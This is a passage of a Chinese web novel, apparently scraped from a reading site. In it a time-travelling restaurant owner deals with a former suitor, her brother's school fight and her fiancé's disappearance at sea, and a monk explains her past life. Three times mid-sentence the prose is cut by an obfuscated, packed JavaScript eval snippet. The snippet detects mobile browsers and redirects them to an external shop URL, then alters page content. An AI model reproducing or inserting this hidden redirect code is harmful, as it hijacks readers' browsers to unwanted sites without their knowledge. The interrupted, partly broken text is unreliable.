罗衔玉还想要说什么,楼下却忽然传来一阵吵闹声。 秦见君顺势起身下楼,看见与罗衔玉一同来的那位书生正拉着冯莲,冯莲挣扎不掉,不小心撞上了桌子,这才发出了声响。 秦见君上前挥开戴鸣的手,蹙眉道:“你做什么?” 戴鸣目光仍黏在冯莲身上,开口道:“我与她是旧识,想同她说两句。” 秦见君去看冯莲的表情,她眼中含泪,朝秦见君摇了摇头。 “她不想跟你说话。”秦见君撂下这句话便拉着冯莲离开了。 一直到进了酿酒的酒库,秦见君才松开冯莲的手,替她擦了眼泪。 “他就是那个书生?叫......”秦见君蹙眉,她有些想不起来当初玩弄冯莲感情的书生是何姓名了。 “戴鸣......”冯莲吸了吸鼻子,自病过一场后,她脸上的婴儿肥便再未养回来过,如今看着倒是去了稚气,多了成熟韵味,样貌更出挑了。 “对,戴鸣......”秦见君问她,“哭什么?你还想着他?” 冯莲摇摇头,抽泣道:“不想了,只是见了他......又想起旧事......” 秦见君叹了口气道:“那以后不见他了,他是来赶考的,考完就走了。” 冯莲点点头,抬手抹了把脸,眼泪糊得到处都是,秦见君无奈地取出手帕,给她轻轻擦拭。 “你是真不想他了,还是应付我的?”秦见君不放心。 冯莲使劲摇头,正色道:“真不想了,男人有什么好的?自从跟了你,我靠着双手赚钱,想穿什么、想吃什么,都能买得起,要男人做什么?” 秦见君看她眼中坚定不似作假,便放心了。 “那你呢?” “什么?”秦见君问。 “你与裴大人吵架了?”这么久都没见到裴大人,冯莲心中早有了猜测,前几日又听闻他带船队出海去了,秦见君面上也并无惊讶之色,想来是早知晓了实情。 原先她还以为秦见君在含萃楼开业时的失魂落魄是因为裴大人走了,可再仔细观察,就会发现,那样的失魂落魄与先前在绵州时大不相同。 秦见君的心动摇了。 从前裴眠去了叶水州,她留在绵州开店,平日里并未有异样,无论是安排上新还是做削价活动,秦见君都十分得心应手。 不像如今,人前看不出端倪,却总在一个人独处时显出寂寥来。 秦见君听冯莲这么问,又想起自己对裴眠说的那些话,悔恨不已。 “是吵架了.....”秦见君低下头,轻声道,“我好像伤他心了......” 90.第 90 章 冯莲听完秦见君描述那夜的情景,眉头蹙得很紧。 “你为何要那样说自己?”她不解道,“当初你只是小小的厨娘,害怕裴大人用压迫房大厨的法子压迫你,是在情理之中的,如今小芽同袁分在一处,感情好得很,你也尽心尽力地将她带在身边......且若不是你杀了那老鳏夫,我也不会有这样的好日子过,裴大人愿意帮你处理此事,也是因为你们感情深,你才敢笃定他会为你出头......” 冯莲凑近秦见君,轻声问:“还有,你说实话,你与裴大人定亲,当真是为了给含萃楼造势?你一点都不想嫁给裴大人?” 秦见君沉默了,垂着头不说话。 冯莲将手搭在秦见君肩头,用力捏了捏她,道:“气头上什么话都说,过后再来悔恨有什么用?这与酗酒之人喝酒误事有何不同?” 秦见君醍醐灌顶——是啊,气头上说话,如同酒气上头,气消了、酒醒了,再去悔恨、去道歉,又有什么脸呢? 她想起裴眠听完自己的话后,也并未出言相刺,而是沉默离开...... 自己出言伤人,被伤者却默默承受不予反击。 “你这么说,我更愧疚了......”秦见君叹了口气。 “愧疚便要赶紧去道歉啊!”冯莲道,“不就是出海吗?你没听官家说?朝中与裴大人一直有联系呢,他们能与裴大人通信,你怎么就不行了?” 说着,冯莲略略抬起下巴,有些小骄傲道:“我们含萃楼生意好、酒也卖得好,赚那么多银钱,稍微拿一些出去打点一下,还怕找不到裴大人吗?” 秦见君睁大了眼——对啊,如今她有钱了,又身在虔渊州,花钱找到裴眠应该不难! “你说得对。”秦见君握住冯莲搭在自己肩上的手,感激道,“一语惊醒梦中人,与其沉默内耗,不如主动道歉。” 冯莲见她的眸子重新焕发光芒,心里也总算放下了一块石头。 虔渊州中目前能知晓裴眠行踪的,只有朝中之人,秦见君认识的、能与朝臣说上话的,只有袁分了。 先前袁原拜托袁分去保护卢飞枫,没想到袁分意外受到卢飞枫赏识,赵广涵斩首后卢飞枫解禁,当场便与袁分签了契约,并非卖身契,而是普通的主仆契约,从此袁分便跟在卢飞枫身边了。 “小芽!”秦见君一路疾走至柜台边,对正在算账的袁芽道,“打烊后我跟你回家,找你哥有事。” 袁芽不明所以地点点头,而后忽然想起什么似的,拉住正要转身的秦见君道:“今夜不行!” “为什么?” “我方才想起来,哥哥说今夜不回来,好像是卢大人这几日忙科举之事,抽不出空。” 秦见君无奈,此事只好先放放。 由于此次科举机会难得,许多想着沉淀几年再下场的考生都忍不住了,于是虔渊州内空前热闹。 武合文趁机将虔渊州的宵禁撤了,夜市不召自生,街头巷尾都萦绕着百姓的叫卖声。 随着天气愈发变凉,夜里出摊的百姓们裹得也越来越严实。 “糖葫芦!冰糖葫芦!” 沙哑的叫卖声传入秦见君耳中,她将身子探出窗外,叫住了夜色中扛着糖葫芦沿街叫卖的大爷。 “小芽!建业!”秦见君喊了一声,“来选糖葫芦!” 大爷两颊有些泛红,笑眯眯地看着秦见君,道:“家中孩子多?” 秦见君也笑着点头道:“是啊,孩子爱吃糖葫芦......”说着,她倒了杯热茶递给大爷。 卖糖葫芦的大爷愣了愣,没敢接,整个虔渊州谁没听过“含萃楼”的名字?短短几个月间,虔渊州街上的酒楼换了好几茬,却只有含萃楼始终屹立,且隐隐有成为“众楼之首”的趋势。 有钱人家的老爷夫人们最爱追捧这些,每每提起含萃楼,语气中都带着些傲气,是以普通百姓们并不敢入楼吃饭,生怕菜价太贵,一口吃掉自己半年的营生。 秦见君看大爷不收,心中了然,劝道:“只是热茶,不收钱的,夜里街上冷,喝杯热茶暖暖身子......” 正说着,袁芽与秦建业从后头钻出来了,秦见君趁大爷分神,将热茶塞入他掌心。 “谢谢......谢谢......”大爷连连道谢,低头喝了一口——这茶不知用什么泡的,竟隐隐带着花果甜气。 “我要这个。”袁芽取了一串山楂糖葫芦道。 一旁的秦建业则取了一串葡萄糖葫芦。 秦见君服了钱,看大爷扛起糖葫芦杆子要走,她忙跟在后头念叨:“有空来含萃楼吃饭,我们中午有盒饭套餐,只要十五文......” 大爷礼貌地点头往外走,听秦见君说十五文时,心中一紧——含萃楼的饭菜当真是贵,怕是最便宜的素菜就要十五文吧...... 看到大爷脸上的尴尬,秦见君知晓他定是误会了,赶紧解释道:“盒饭套餐有米饭,还有两素一荤,米饭免费续,保管吃饱的......” 大爷听到这儿才停了脚步,转头有些犹豫地问:“肉菜都有?” 秦见君看有戏,忙应道:“有的有的,中午和晚上都有盒饭套餐,一份十五文,您到时候可以来尝尝,要是满意,再叫上朋友一块儿来。” 大爷迟疑地点点头,出了含萃楼的门,走了几步又不确定似的转头看了看——含萃楼加盖了两层,如今有四层楼高,门口的欢楼就有三层,据说秦老板还将后头的地皮一并买下了,外头只能看见一面楼,里头左右还连着两面楼,着实气派无比......这里头当真有十五文就能买到的饭菜吗? 秦见君回了大堂,袁芽正拽了一颗山楂糖葫芦下来给秦建业吃。 秦建业如今在虔渊州的一处私塾念书,功课虽然一般,但好歹在慢慢识字,只是性子愈发沉默了,秦见君不禁觉得有些头疼。 在她看来,孩子就该有孩子的模样,可不能像自己似的,童年马马虎虎就过去了。 “建业,最近你们夫子没布置抄字功课吗?”秦见君问。 秦建业嚼糖葫芦的腮帮子顿了顿,有些心虚地看了一眼秦见君,嗫嚅道:“没......没布置......” 这孩子心思还是太浅,什么都写在脸上,不过秦见君也不点破,只挑挑眉,看这小子能装到什么时候。 过了几日,正是晚饭时间,伙计们都忙得脚不沾地,含萃楼门前人来人往,多的是锦衣华服,便更衬得欢楼边上的大爷灰扑扑的了。 含萃楼做大后,秦见君便少去后厨了,更多的时间是盯着楼中上下的运营。 正巧她推开二层的窗户,低头便看见了欢楼边上站着的糖葫芦大爷——他还抱着那根插满了糖葫芦的杆儿。 秦见君看他站在门前不敢进来,忙跑下楼去迎。 当初含萃楼在虔渊州开业,她想着这里达官贵族多,想要来钱快,走高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172906|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端路线再做做宣传,搞好舆论风向,酒楼一定能站住脚。 事实确实不出她所料,有钱人确实喜欢“听起来”就很高大上的酒楼,又恰逢赵广涵倒台,虔渊州酒楼格局分崩离析,秦见君抓着机会逆流而上,将含萃楼做到如今规模。 官员豪绅们愿意来她这儿吃饭,又爱订雅间,于是她只能加盖楼层,再起两面楼,用连廊串起来。 但有钱人来得多了,倒叫她觉着没意思。每个人脸上都是虚与委蛇的笑,嘴里说的全都是阿谀奉承之语,她还是想回归本心,于是重新推出了“盒饭套餐”。 “大爷!”秦见君从二楼一路走下去,身旁的食客不断同她打招呼,她一一回应,疾步走到欢楼边。 糖葫芦大爷看到秦见君,有些拘谨起来,粗糙的手攥着糖葫芦杆儿,嘴角扯出个笑,小声问:“先前您说的‘盒饭套餐’......” 秦见君脸上露出欣喜来:“有的有的,我带您进去......” 糖葫芦大爷的杆儿有些大,食客们纷纷避让。 秦见君将人带到大堂空位坐下,将提前托人画好的盒饭套餐“菜单”拿了出来。 “套餐里都有米饭,吃不饱免费续,菜有这些搭配......”秦见君仔细介绍着。 大爷缩在座位上有些不自在,只道:“都是十五文吗?” 秦见君点头道:“都是十五文,您放心点。” 于是大爷搓了搓手道:“您看着给一份吧,我都能吃。” 秦见君想了想,指着图纸上的一份套餐道:“这个怎么样?红烧排骨、清炒时蔬和韭菜鸡蛋。” 大爷的头没怎么抬起来过,一直低着,周围食客的议论声窸窸窣窣的,听不真切,却无法忽略。 他忙点点头,秦见君应下,转身去后厨下单。 大爷坐的桌子在角落里,靠着窗,窗外是酒楼一旁的空巷子。 “田叔?你怎么在这儿啊?”窗外停着一个精壮的汉子,秋日里穿着麻布背心,露出的两条胳膊又黑又粗。 田宝根见了熟人,稍稍放松了些,他将手搭在窗沿,倾身过去道:“我来吃饭。” 孙二凑上去探头看了看大堂,惊道:“这可是含萃楼!叔你傻了?快出来!” 田宝根摆摆手,道:“老板说这儿有十五文一份的饭,我来尝尝。” 孙二有些犹疑,嘟囔道:“该不会是骗人的吧......” 话音未落,冯莲端着盒饭过来了,恰好听到孙二的话,顿时心中不悦,却压着性子道:“并非骗人,含萃楼这月开始提供盒饭套餐,十五文一份,都在门口的牌子上写着呢。” 冯莲穿得简单干练,布料却不俗,看起来与粗糙的孙二就像两个世界的人,加上她皮肤养得白皙通透,一时间给孙二看傻了。 冯莲却并未察觉,而是将饭放下,对田宝根道:“米饭不够就喊人添,不要钱的。” 田宝根点点头,看着桌上精致又不失分量的饭菜,心总算安定了些。 冯莲起身,见孙二还傻站在窗外,想着也不好赶他,正要转身走,却见窗外又跑过来一个人。 这人年纪轻轻的,穿着朴素,冯莲觉着面熟,却想不起在哪儿见过。 直到那人开了口:“秦老板在吗?快快!她弟弟在私塾要打出人命了!” 冯莲心下一跳,忽然想起——这人是秦建业私塾的同窗,先前见过几面,难怪觉得面熟! 91.第 91 章 秦见君匆忙放下手头的活儿,赶到了秦建业的私塾中。 这私塾是她千挑万选出来的,里头的孩子们家境不好不坏,夫子们也都崇尚讲理而非暴力,怎么就打起来了? 私塾因为斗殴之事停了课,此时学堂中围着好几圈学生看热闹。 秦建业坐在人群中间,脸上有些青紫,坐他身旁的那孩子却满头麻布,洁白的麻布上还透着刺眼血色...... “李夫子。”秦见君并未先理会秦建业,而是喊了夫子。 李夫子是个清瘦的老头,白发白须,看着儒雅随和,如今却眉头紧蹙,眸中带怒。 “秦小娘请随我来。”李夫子将秦见君带入后院,仔细同她说了此事的前因后果。 秦建业断了右腿之事是无法遮掩的,他日日拄着拐来往私塾,有些学生见他寡言便想欺负他,一次两次他都忍气吞声,便将学生们的性子给养刁了。 平日里都不同秦建业说话便算了,还时常偷走他写的作业,让他在课堂上被夫子点名批评,诸如此类的“欺负”桩桩件件并不少。 “我还以为他心思不在学业上,才不写作业,都怪我不够细心......”李夫子忍不住埋怨自己。 秦见君听得也是满心怒火,没想到大荆也有“校园暴力”,尤其秦建业这傻小子还不告诉自己。 她先安慰了夫子,而后回到了学堂中。 秦建业有些心虚地偷看了秦见君几眼,见她面色不虞,便又迅速垂下脑袋去。 头上包着麻布的学生家长也来了,正在一旁嚷嚷着要秦建业赔钱。 眼看着手指即将戳到秦建业头上去,秦见君上前一步拦住了那妇人,沉声道:“令公子的医药钱我会赔,但他也必须向我弟弟道歉。” “道歉?凭什么?是你弟弟把我儿子的头都打破了!”妇人气得胸口起伏,眼睛也开始泛红。 秦见君丝毫不怵她,继续冷声道:“要不是你儿子天天欺负我弟弟,头会被打破吗?” 不说还好,秦见君这么一说,头上裹着麻布的孩子便开始撒泼打滚不承认,夹着嗓子冲妇人撒娇,妇人被哄得团团转,扬言要将秦建业的脑袋也打破。 秦见君气笑了,不过还是忍着脾气,对那妇人道:“借一步说话?” 哪有父母不懂自家孩子的,看儿子心虚撒泼的模样,妇人便知晓秦见君说的话八成是真的,但若是就此认错,怕不是还要被秦见君“讹”一笔药费去。 眼下看秦见君的态度还算平静,妇人也想着两家私了最好,于是跟着秦见君去了后院。 没想到一入后院,秦见君人前挂着的笑便荡然无存,取而代之的是冰冷还带着怒意的脸。 “你......”妇人被秦见君这番变脸给吓着了。 但秦见君并未给她说话的机会,直接打断道:“知道我是谁吗?” 妇人愣了愣,随即抽出自己的帕子擦了擦额角被吓出来的汗,不屑道:“不就是含萃楼的老板吗?一个开酒楼的,还想压朝廷命官头上了?” 秦见君听出来,这妇人的夫君定是在朝为官,但她先前筛选私塾时已经知晓了,这家私塾孩子们的爹即便在朝为官,官位也并不算高。 于是她冷笑了一声,走近妇人,低声道:“对,我只是一个酒楼老板,自然没有朝廷命官权利大......但你就没想过,含萃楼里来往的都是些什么人?” 妇人听了,擦汗的帕子缓缓收回腰侧,手不自觉攥紧,脸上的不屑也收了起来。 秦见君继续吓唬她:“朝廷命官,我认识的可不少,含萃楼能在虔渊州站稳脚跟,你不会以为我背后真的无人吧?” 妇人吓得倒吸一口冷气,说话也有些不利索了:“你......你想如何?” 秦见君在心里翻了个白眼——不经吓。 “我刚说过了,我给你赔药费,你儿子给我弟弟道歉。” 妇人忙点点头,扭身回了学堂,拧着儿子的耳朵向秦建业道歉。 秦建业吓了一跳,差点拐杖都没拿就站了起来。 经过这么一闹,学也别上了,秦见君索性带着秦建业回了含萃楼。 “姐姐......” 秦见君在院子里的石凳上坐下,看着秦建业,等他解释。 “抱歉......” “抱歉什么?” “抱歉给你添麻烦了......”秦建业低着头,不敢看秦见君。 秦见君被他这窝囊样给气到,音调都提高了些:“在私塾受欺负只知道忍气吞声?不会回来告诉我?” 秦建业有些讶然地抬起头看向秦见君,而后又怯怯地低下头,声音极轻:“你每日都在含萃楼,已是很忙了......况且姐夫......况且裴大人也不在虔渊州......我怕你......” 秦见君接下他的话道:“怕我摆不平?”她吐了口浊气出去道,“就算裴眠不在,我一个人也能护住你,记住了吗?” 秦建业点点头,又悄悄抬头看了秦见君,一副欲言又止的样子。 秦见君不耐烦道:“还有什么事?快说。” 秦建业挪了挪拐杖,往前站了点,小声问:“姐夫......何时回来啊?” 秦见君抿了抿唇,半晌才吐出一句:“不知道。” “啊?姐夫没同你联系吗?”秦建业问。 秦见君愈发烦躁了,她倏然起身,丢下一句:“先管好你自己,我会再给你找个新的私塾,这几天先在家好好待着。” 秦建业被她喜怒无常的情绪给弄懵了,这时冯莲忽然找了过来,问他秦见君在哪儿。 “往后面屋子去了......”冯莲正要走,秦建业忽然拉住她,犹豫着问,“冯姐姐......女人的更年期是何时?” “啊?” 秦见君气冲冲进了酿酒的屋子,将门一关,打算自己清静清静。 可还未坐一会儿,冯莲便敲门进来了。 “怎么了?” 冯莲见她脸色不好,还以为她是为秦建业打架的事忧心,便宽慰道:“孩子打架是常有的事,你别太生气了。” 秦见君敷衍地点头道:“我知道。” 冯莲这才说出了此行的目的:“方才小芽请了假,说是袁分回家了,她也要回去。” 秦见君眼睛一亮:“袁分回来了?” 冯莲点头道:“听说科举之事已安排下去了,卢大人准许他回家休息。” 秦见君忙起身出了屋子——袁分是唯一一个她认识的、能在虔渊州官场上打听消息的人。 这头袁分到家刚坐下,还未喝上水,就见袁芽从门外冲了进来。 “哥哥!” 袁分将要去拿茶杯的手收回,扶着袁芽的身子,怕她掉下去。 袁芽撒了会儿娇才从袁分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176829|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上下来,仔细打量了袁分一番,点头道:“没瘦,卢大人果然是好人!” 袁分抿唇笑了一下,抬手去拿茶杯,可惜这次也是没拿上便被打断了。 “袁分!”秦见君从门外疾步而来,停在袁分面前时,他能感到她身上带来的风猛得拍在自己脸上。 “秦小娘有何事?”袁分收回手站起身。 秦见君看了一眼袁芽,有些犹豫,但见这小孩不躲不避的非要黏着自家哥哥,她也只好直接开口了。 “你能......打探到裴眠的消息吗?” 此话一出,袁芽有些惊讶地瞪大了眼。 袁分的脸色却变得有些难看,眼神也闪躲起来。 秦见君觉察出不对,忙追问道:“你知道什么对不对?” 袁分对上秦见君的视线,她眸子又清又亮,叫他败下阵来。 “朝廷已与裴大人断了联系,有半个多月了。” 秦见君如遭雷击,身子有些晃,后退了半步才堪堪站稳。 “什么叫‘断了联系’?”秦见君问,“是联系不上,还是朝廷故意的?” “联系不上,裴大人出海时用飞鸽通信,自他进入西南海域后便断了音讯。” 秦见君有些着急起来:“断了半个多月的联系了,官家也不派人去找?” 袁分摇摇头道:“卢大人说官家暗中派人去寻了,只是此事不宜太过张扬。” 为何不宜太过张扬? 秦见君瞬间意识到,武合文用裴眠出海当“梅子”,解了百姓们国库空虚的“渴”,如今“梅子”不见了,当然要瞒着百姓们,否则必出大乱。 秦见君明白这个道理,却还是忍不住愤怒。 她正要说些什么,冯莲忽然进了门。 “阿君,沈小姐来了。” “谁?”秦见君回头。 “沈婉,沈小姐,眼下在楼里等你。”冯莲道。 沈婉......沈婉南下过,她应当对南边的情形有些了解! 秦见君忙回了含萃楼,进了院子,看见一群人正在将饱满金黄的香橼往冰库中搬。 沈婉听到响动转过身来,笑着上前拉住秦见君的手道:“含萃楼越做越大,如今要的货量也大,我便随着运货的队伍来看看你......”说着,她发觉秦见君的脸色不对。 “怎么了?” 秦见君拉着沈婉的手进了屋子,甫一关上门便迫不及待地问:“你南下过的,你知道西南海域有什么吗?” 沈婉被问得有些懵,却还是努力回想了一番,道:“先前倒是听过西南海域的传说......” 虽只是传说,但有比没有好,秦见君点头示意她接着说。 “先前南边沿海有渔民去过西南海域,说是遇上了风浪,船被打翻,再醒来时发现自己被浪拍到了一座岛上,接着遇到了一群外邦人,外邦人热情地招待了他,他惊讶地发现那里的稻田极少,却能养活许多人,正要问其中缘由,却被外邦人打晕,醒来后已是出了西南海域......” 秦见君越听眉头越紧——桃花源记? 她担忧得夜里入睡时手心还在出汗,熬了大半夜,终于入睡。 梦中椭圆的光圈亮起,其中却不是操场相遇的情景,而是辣甜甜公司的大楼。 顶楼有一间超大办公室,秦见君清楚地看见,办公桌的电脑旁赫然摆着裴眠的照片。 92.第 92 章 秦见君震惊地看着桌上裴眠的照片——短发、背心、冲浪板,无一不在证明这张照片拍摄的年代并不是大荆。 还没等她反应过来,办公室忽然进来了一群穿着黑色西装的男人。个个高大魁梧却面容严肃,沉默地收拾着办公室里的东西。 秦见君眼睁睁看着裴眠的照片被收起来,用黑布包着放进箱子里。 黑衣人们训练有素,快速收拾完办公室就离开了,接着进来的是穿着保洁服的大妈。 大妈先对着一尘不染的办公室愣了会儿神,而后叹气,弯腰洗起拖把来。 此时办公室又进来了一位穿着职业装的女人,全黑的西装、半裙、高跟鞋,若是配上小烟熏妆,该是又酷又飒的,可女人却素面朝天,只有唇上涂了点润唇膏。 “连总助......你看这儿还要打扫吗?”大妈望着窗明几净的办公室,忍不住说出了心中的疑问。 被称为连总助的女人面露悲伤,几近哽咽,半晌才轻声道:“打扫......打扫干净......他爱干净......”说完,她又深深地看了一眼办公室,转身离开了。 留在办公室的大妈喃喃自语道:“人都死了,办公室打扫干净又有什么用呢......” 秦见君忍不住蹙眉——什么叫“人都死了”?裴眠呢? 光圈中的场景转换,秦见君看到了自己——确切地说,是死亡当天的自己。 她冒着狂风艰难地抵达了地铁站,地铁站内的电子屏幕上正在播报新闻。 “据本台消息,台风‘雁回’于昨天下午三点登录南海区域,此次台风受南海水汽影响,在登陆前急剧增强,当地部门来不及实施措施,目前已造成三人死亡,十六人受伤,经警方证实,珮游集团接班人裴眠,于此次台风事故中丧生......” 秦见君忽然想起,她当初选择辣甜甜公司合作,就是因为辣甜甜背靠珮游集团,大集团下的公司总是更有底气些。 光圈中的自己盯着地铁指示牌,路过电子屏时连头都没侧一下。 秦见君忽然想起老和尚说的“非人力可拒”,是因为裴眠在现代意外死亡,所以自己才穿到这里来了吗? 接着她的心突然狂跳起来——裴眠在现代就是在海上丧生的,如今又出海去了...... 先前老和尚说“再误一世缘分,可就没得补了”,也就是说,“再误”也不是没可能的,那裴眠再一次在海上...... 秦见君吓得瞬间醒来。 秋雨飒飒,原先凉爽的风变得刺骨,她忍不住打了个寒颤。 天还未亮,寺前的石子路上全是被秋雨打落的叶子,褐黄一片。 小和尚正低头扫地,眼前忽然出现一双鞋子,再往上,裙摆上还沾着泥点子,能看出此人走得很急。 “小师傅,你们解签的师傅在吗?”秦见君千里迢迢从虔渊州赶来,一天一夜都未休息,面色有些疲惫。 即便如此也难掩出色样貌,那小和尚还记得她,他并未露出讶异神色,而是放好了扫帚,引着秦见君往寺里去了。 “师父说施主近日会来寺中,且带您去后院便好。”小和尚边走边道。 秦见君的心倒是稳定了些——老和尚一定知晓自己穿越的真相,或许能告诉自己裴眠在这一世的结局。 后院角落里摆了一口大缸,缸中养着锦鲤,秦见君赶到后院时,老和尚正在喂鱼。 小和尚将人带到后便离开了,秦见君缓步上前。 缸中传来鱼尾拍打水面的声音,老和尚收手,转头看向秦见君,道:“施主吓着鱼了。” 秦见君颔首:“抱歉......” 老和尚笑着摆摆手,又道:“施主此次前来,是为了解惑吧?” 见对方并无遮掩心思,秦见君索性也开门见山道:“师傅是不是知道......我的身世?” 此时天还未亮,寺庙中并无人来拜,四周静悄悄的,秦见君话音一落,老和尚也不搭话,院子里便落针可闻。 半晌,老和尚才开口道:“施主想问何事?” 秦见君顺势将疑问都说了出来:“我梦中的光圈是平行世界吗?我穿到这里来,算是世界错位吗?裴眠在海上......还平安吗?” 老和尚听了她一连串的问题,并不烦心,而是拍了拍手中的鱼食残渣,指着秦见君腰间的玉佩,缓声道:“这世上有许多玉佩,上头有许多花纹,有相似的花纹,也有不同的花纹,有的玉佩上注定会有成对的纹理,若是这玉佩不当心碎了,便将其他玉佩改上这成对的纹理,补上便好了。” 秦见君默默消化——意思就是有许多平行世界,在其中一个世界里,她与裴眠是有三世缘分的,可其中一世因为台风这个意外而被破坏,于是便从其他平行世界中取了一世来补偿,自己的“穿越”其实是从原本的世界,穿到了平行世界来。 老和尚见她表情逐渐明朗,知晓她是听懂了,于是继续道:“那位郎君,与海倒是有缘......” 秦见君的心瞬间被揪了起来,等着老和尚往下说。 “是否平安,我并不知晓,不过......”他对上秦见君的眸子道,“你万不可出海。” 被点破心思,秦见君愣住,随即焦急道:“他生死未卜,我想去找他......” “于他无益,生死有命,你且等着便是。” 秦见君有些急了,声音也大了些:“我怎么等?他现在音讯全无!难道要我什么努力都不做?” 老和尚抬手在虚空中压了压,仍旧缓声道:“稍安勿躁。” 水缸中又传来鱼尾拍水的声音,秦见君意识到自己有些失态,深呼吸几口后,尽量冷静地开口道:“请师傅指条明路。” 老和尚摇了摇头,做了个“请”的姿势。 秦见君知道这是要送客了。 虔渊州内只有河,并不临海,往南走上十几日才能见着海,再往西南去才能入西南海域。 西南海域上风平浪静,一艘艘船整齐排列着,远看极有气势,近看才能发现,船帆已十分破烂污秽了。 “郎君,船底的破漏都补好了。”裴小之抹了把脸,将手上的灰留在了脸颊上。 裴眠已经连着两个日夜未曾休息了,此时正盘腿坐在桌边,手撑着额角。 听了裴小之的话,他才抬起通红的眼,沉声吩咐:“所有船,替换干净的船帆。” 裴小之点点头,正要出去,又听裴眠问:“虔渊州有消息吗?” 裴小之转回身子,摇摇头,叹了口气道:“自我们遇上风浪后,就再未收到虔渊州来信了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187687|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如今风浪过去,我已将船上备用的信鸽放出去了,只不过还未收到什么回信......” 裴眠垂眸,骨节分明的大手按了按跳动的额角。 “下去吧,叫袁原过来。” 裴小之应声出去,不一会儿袁原就进来了。 “位置判清楚了吗?” 袁原点头,上前将图纸打开,指着边缘的一处岛,道:“若渔民所言为实,两日后便可靠岸。” 裴眠看着图纸边缘随意画的岛,心中也有些没底——毕竟只是南边的一个传说,若是这岛压根就不存在,他们便只能像无头苍蝇似的在海上飘荡了。 “大人......” 袁原难得有欲言又止的时候,裴眠抬眼:“何事?” “与虔渊州失联前,我曾收到袁分来信。”他顿了顿,还是继续道,“信中......提到秦小娘......” 裴眠的眼神柔和下来,垂下眸子,目光左右游移,状似不经意道:“继续。” 袁原想了想,将袁分说的事掐头去尾说了:“罗衔玉去含萃楼找了秦小娘,是特地赶在大人出海后才去的。” 裴眠的脊背僵了一瞬,而后呼吸便有些重起来,但面上仍是平静。 袁原等了半晌,裴眠都没说话,只好硬着头皮开口道:“若是与虔渊州恢复联系,大人可要给秦小娘去信?” 裴眠撑着额头的手下,食指轻轻敲了敲桌面,问袁原:“罗衔玉此人,长相如何?” 袁原不知裴眠为何突然问起这个,只能老实回答:“相貌清俊。” “家境如何?” “商贾之家,中上而已。” “学识呢?” “还未在科举取得名次。” “品性?” 袁原仔细想了想,道:“为人和善真诚,但失果决。” 裴眠点点头,看向袁原,问道:“若是你,你选谁?” 袁原怔了一下,对上裴眠胜券在握的眼,才反应过来裴眠在说什么,他闭上嘴,默默退了出去。 裴小之正在甲板上洗换下来的船帆,看袁原满脸复杂,便凑上去问缘由。 听完袁原言简意赅的描述,裴小之哈哈大笑道:“不怪你,你跟着郎君的时候,恰好他病重,性子阴沉,原先在虔渊州时他可不是这样的,如今才是真正的郎君呢!” 袁原回想自己曾在虔渊州的惊鸿一瞥,那绿袍少年郎,确实是意气风发又自信昂扬的...... 裴小之用手肘捅了捅袁原,打趣道:“你真不必担心那什么罗书生,秦小娘与郎君是两情相悦!虽说近日在闹矛盾......可谁家小夫妻不闹矛盾的?” 袁原仍是有些不放心道:“可这几个月来都不曾与秦小娘联系......” 裴小之叹了口气,嘟囔道:“说来也怪,我们郎君的性子算极好的,从未与秦小娘红过脸,也不知这次是何事,竟气得郎君能忍住不给秦小娘去信......” 袁原不搭话,裴小之便又开始细数从前在叶水州时,裴眠是如何笑着写信给秦见君的,他说话又密又快,袁原听了一会儿便有些受不了地要走。 “诶!跑什么?来同我一起把这块帆洗了!” 袁原只好折返回来搓帆布,耳边还要受裴小之的唠叨。